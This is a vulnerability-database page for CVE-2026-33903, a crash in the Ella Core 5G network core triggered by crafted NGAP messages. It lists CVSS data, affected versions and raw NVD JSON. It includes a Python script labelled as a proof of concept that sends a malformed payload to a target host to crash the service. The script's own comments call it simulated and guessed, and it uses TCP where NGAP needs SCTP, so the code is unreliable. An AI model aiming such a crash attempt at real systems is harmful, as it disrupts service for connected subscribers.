Security Vulnerability Report
中文
CVE-2026-33903 CVSS 6.5 MEDIUM

CVE-2026-33903

Published: 2026-03-27 21:17:26
Last Modified: 2026-04-20 12:29:29

Description

Ella Core is a 5G core designed for private networks. Versions prior to 1.7.0 panic when processing a specially crafted NGAP LocationReport message. An attacker able to send crafted NGAP messages to Ella Core can crash the process, causing service disruption for all connected subscribers. Version 1.7.0 adds guards in NGAP Location Report handler.

CVSS Details

CVSS Score
6.5
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:A/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

Configurations (Affected Products)

cpe:2.3:a:ellanetworks:ella_core:*:*:*:*:*:*:*:* - VULNERABLE
Ella Core < 1.7.0

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import socket # This is a simulated Proof of Concept (PoC) for CVE-2026-33903. # It demonstrates how a malformed NGAP message might be sent to trigger the panic. # Note: Actual NGAP protocol implementation (usually over SCTP) is required for a real exploit. def send_malformed_ngap(target_ip, target_port): try: # Simulating a crafted NGAP LocationReport message payload. # The specific bytes causing the panic would require fuzzing or analysis of the specific commit. # This represents a trigger packet structure. malicious_payload = b"\x00\x0e\x40" + b"\x00" * 10 + b"\xff\xff" + b"A" * 200 print(f"[*] Sending malformed NGAP packet to {target_ip}:{target_port}...") # NGAP typically runs over SCTP, but for demonstration we use a TCP socket wrapper # or assume the tester has an environment setup to route this. s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.settimeout(5) s.connect((target_ip, target_port)) s.send(malicious_payload) s.close() print("[+] Payload sent successfully. Check target for service crash.") except Exception as e: print(f"[-] Error during exploit execution: {e}") if __name__ == "__main__": # Replace with actual target details TARGET_IP = "192.168.1.100" TARGET_PORT = 36412 # Standard NGAP port (SCTP) send_malformed_ngap(TARGET_IP, TARGET_PORT)

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-33903", "sourceIdentifier": "[email protected]", "published": "2026-03-27T21:17:26.477", "lastModified": "2026-04-20T12:29:28.713", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Ella Core is a 5G core designed for private networks. Versions prior to 1.7.0 panic when processing a specially crafted NGAP LocationReport message. An attacker able to send crafted NGAP messages to Ella Core can crash the process, causing service disruption for all connected subscribers. Version 1.7.0 adds guards in NGAP Location Report handler."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:A/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "baseScore": 6.5, "baseSeverity": "MEDIUM", "attackVector": "ADJACENT_NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.8, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-476"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:ellanetworks:ella_core:*:*:*:*:*:*:*:*", "versionEndExcluding": "1.7.0", "matchCriteriaId": "9BAD1DBD-ED4B-49AB-A563-C4838F8F8979"}]}]}], "references": [{"url": "https://github.com/ellanetworks/core/commit/ec77a2ad4508f8488cb356fd45b2f1efd92587f8", "source": "[email protected]", "tags": ["Patch"]}, {"url": "https://github.com/ellanetworks/core/releases/tag/v1.7.0", "source": "[email protected]", "tags": ["Release Notes"]}, {"url": "https://github.com/ellanetworks/core/security/advisories/GHSA-f2f3-9cx3-wcmf", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}